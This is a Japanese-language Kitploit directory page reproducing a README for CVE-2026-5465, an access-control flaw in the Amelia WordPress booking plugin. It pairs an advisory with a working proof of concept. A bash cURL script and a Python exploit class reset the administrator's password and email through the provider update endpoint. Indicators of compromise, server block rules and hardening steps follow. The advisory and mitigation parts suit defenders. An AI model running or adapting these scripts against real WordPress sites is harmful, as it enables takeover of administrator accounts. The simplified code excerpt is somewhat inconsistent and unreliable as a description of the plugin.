Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-5465 — CVE-2026-5465のエクスプロイトと分析。Amelia WordPressプラグインのIDOR(安全でない直接オブジェクト参照)により、認証されたProviderロールが権限を昇格させ、アカウント乗っ取りを達成できる脆弱性です。 | Kitploit
ツール/GitHubGitHub/kaleth4/cve-2026-5465
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト設定ミス
GitHubkaleth4/cve-2026-5465

CVE-2026-5465

CVE-2026-5465のエクスプロイトと分析。Amelia WordPressプラグインのIDOR(安全でない直接オブジェクト参照)により、認証されたProviderロールが権限を昇格させ、アカウント乗っ取りを達成できる脆弱性です。

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-5465: WordPress Amelia プラグインにおける権限昇格

⚠️ エグゼクティブサマリー

Amelia プラグインの**安全でない直接オブジェクト参照(IDOR)**による重大な脆弱性。認証された「従業員(Provider)」ロールのユーザーが、WordPress サイトの完全な乗っ取り(Account Takeover)を含む管理アクセスまで権限を昇格できる可能性があります。


📋 脆弱性情報

属性値
CVE IDCVE-2026-5465
ソフトウェアAmelia – Appointment Booking Calendar
影響を受けるバージョン≤ 2.1.3
パッチ適用済みバージョン≥ 2.2.0
タイプ安全でない直接オブジェクト参照(IDOR)/ アクセス制御の欠陥
ベクトルネットワーク(認証済み)
複雑性低
影響重大(アカウント乗っ取り)
CVSS v3.18.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639(認可バイパス)

🔍 技術的分析

悪用メカニズム

この欠陥は、プロバイダープロフィールの更新を処理する UpdateProviderCommandHandler クラスに存在します。

脆弱なフロー:

root@kitploit:~
1. 「Provider」(従業員)として認証されたユーザー
   ↓
2. 更新エンドポイントに POST リクエストを送信
   {
     "externalId": 1,  // 攻撃者ではなく管理者の ID
     "firstName": "Admin Pirateado",
     "email": "[email protected]",
     "password": "nueva_contraseña"
   }
   ↓
3. システムは 'externalId' が現在のユーザーに属するかどうかを検証しない
   ↓
4. wp_set_password(externalId, new_password) を使用
   ↓
5. 管理者のパスワードが変更される → アカウント乗っ取り

根本原因

機密データを処理する前に所有権チェック(Ownership Check)が欠如していること:

root@kitploit:~
// 脆弱なコード(簡略化)
public function updateProvider($providerId, $data) {
    // ❌ providerId == 現在のユーザーかどうかを検証していない
    $provider = Provider::find($providerId);
    
    // 検証なしで直接実行
    wp_set_password($data['password'], $provider->wp_user_id);
}

// 修正済みコード
public function updateProvider($providerId, $data) {
    // ✅ 所有権を検証
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
}

悪用可能なパラメータ


💣 概念実証(PoC)

要件

  • 「Provider」(従業員)ロールを持つユーザーアカウント
  • サイトへの認証済みアクセス
  • WordPress サイトの URL

手動悪用(cURL)

root@kitploit:~
#!/bin/bash

TARGET="https://ejemplo.com"
PROVIDER_TOKEN="token_autenticado_del_provider"
ADMIN_ID=1

# セキュリティ NONCE を取得(存在する場合)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)

# 悪意のある更新を実行
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
  -H "Authorization: Bearer $PROVIDER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "externalId": 1,
    "password": "Compromised123!",
    "email": "[email protected]"
  }'

echo "[+] レスポンスが 200 の場合、管理者は侵害された"

自動化された悪用(Python)

root@kitploit:~
import requests
import json

class AmeliaExploit:
    def __init__(self, target_url, provider_token):
        self.target = target_url.rstrip('/')
        self.headers = {
            'Authorization': f'Bearer {provider_token}',
            'Content-Type': 'application/json'
        }
    
    def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
        """IDOR を悪用して管理者のパスワードを変更する"""
        
        endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
        
        payload = {
            "externalId": target_user_id,
            "password": new_password,
            "email": f"pwned_{target_user_id}@attacker.com"
        }
        
        try:
            response = requests.post(
                endpoint,
                headers=self.headers,
                json=payload,
                timeout=10
            )
            
            if response.status_code == 200:
                print(f"[✓] 悪用成功: ユーザー {target_user_id} が侵害されました")
                print(f"[*] 新しいパスワード: {new_password}")
                return True
            else:
                print(f"[✗] 失敗: {response.status_code} - {response.text}")
                return False
                
        except Exception as e:
            print(f"[!] 接続エラー: {e}")
            return False

# 使用法
if __name__ == "__main__":
    exploit = AmeliaExploit(
        target_url="https://ejemplo.com",
        provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
    )
    exploit.exploit_account_takeover(target_user_id=1)

🛡️ 侵害指標(IoC)

確認すべきログ

WordPress 監査ログ(インストールされている場合):

root@kitploit:~
ユーザー: [Provider ID]
アクション: ユーザーパスワード変更
影響を受けたユーザー: 管理者
タイムスタンプ: [不審な時刻]

サーバーログ(Apache/Nginx):

root@kitploit:~
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [大きい値]
→ レスポンス 200 OK

WordPress データベース:

root@kitploit:~
-- 不正なパスワード変更
SELECT ID, user_login, user_registered, user_pass 
FROM wp_users 
WHERE ID = 1 
ORDER BY ID DESC LIMIT 1;

-- 不審なメール変更
SELECT user_email, user_login, user_registered 
FROM wp_users 
WHERE user_login = 'administrator' 
ORDER BY ID DESC;

警告サイン

  • ✗ 所有者のリクエストなしでの管理者パスワード変更
  • ✗ /wp-json/amelia/v1/providers/ への複数回の POST 試行
  • ✗ 新しい/異常な IP からの管理アクセス
  • ✗ 管理者ロールを持つ新しいユーザーの作成
  • ✗ Provider ロールからのプラグイン設定変更
  • ✗ 削除または切り詰められたアクセスログ

🔧 即時緩和策

1. プラグインの更新(推奨オプション)

root@kitploit:~
# WordPress 管理パネル経由
1. 移動: プラグイン > インストール済みプラグイン
2. 検索: "Amelia"
3. クリック: "今すぐ更新"
4. 安全な最小バージョン: 2.2.0+

# WP-CLI 経由
wp plugin update amelia --allow-root

2. プラグインの一時的な無効化

root@kitploit:~
# WP-CLI 経由
wp plugin deactivate amelia --allow-root

# FTP/SFTP 経由
名前変更: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/

3. サーバーレベルでの制限

Nginx(nginx.conf):

root@kitploit:~
location ~ /wp-json/amelia/v1/providers/ {
    # GET のみ許可
    if ($request_method = POST) {
        return 403;
    }
}

Apache(.htaccess):

root@kitploit:~
<FilesMatch "amelia.*providers">
    <LimitExcept GET HEAD>
        Require all denied
    </LimitExcept>
</FilesMatch>

📋 侵害後の対応手順

サイトがすでに悪用された場合:

1. パスワードの変更(即時)

root@kitploit:~
-- CLI 経由で管理者パスワードを変更
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass

2. ユーザーと変更の監査

root@kitploit:~
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;

3. アクティブセッションの確認

root@kitploit:~
# プラグインをインストールして確認: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root

4. セキュリティキーのリセット

root@kitploit:~
// wp-config.php で再生成:
define('AUTH_KEY',         'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY',  'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY',    'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY',        'PUT_YOUR_UNIQUE_PHRASE_HERE');

🔐 長期的なハードニング

1. WAF(Web アプリケーションファイアウォール)の導入

root@kitploit:~
Cloudflare WAF ルール:
- ブロック: ホワイトリストに登録されていない IP からの /wp-json/amelia/v1/providers/[0-9]+ への POST

2. 継続的なモニタリング

root@kitploit:~
# 監査プラグインのインストール
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root

3. ロールと権限の管理

root@kitploit:~
// Provider の権限を制限
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');

4. エンドポイントでのレート制限

root@kitploit:~
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;

location ~ /wp-json/amelia/v1/ {
    limit_req zone=amelia_zone burst=20 nodelay;
}

📊 発見のタイムライン

日付イベント
2026-01-15Amelia チームに脆弱性が報告される
2026-02-01パッチが利用可能(v2.2.0)
2026-02-10CVE の責任ある公開

📞 サポート連絡先

  • Amelia 公式: https://ameliabooking.com
  • Wordfence 脅威インテリジェンス: https://wordfence.com
  • WordPress セキュリティ: https://wordpress.org/plugins/wordfence/
  • CERT コーディネーションセンター: https://www.cert.org

📚 参考情報

  • OWASP: アクセス制御の欠陥
  • CWE-639: 認可バイパス
  • NIST: 権限昇格
  • Amelia セキュリティアドバイザリ

分類: 🔴 重大 - 即時対応が必要
最終更新: 2026年4月
作成者: セキュリティチーム

ツールをダウンロード
パラメータ型影響
externalId整数アイデンティティ変更(IDOR の中核)
password文字列パスワード変更
emailメールリセットされた場合のセッション乗っ取り
firstName, lastName文字列重要ではないデータの改ざん
2026-02-11実環境での悪用
本日緊急更新の推奨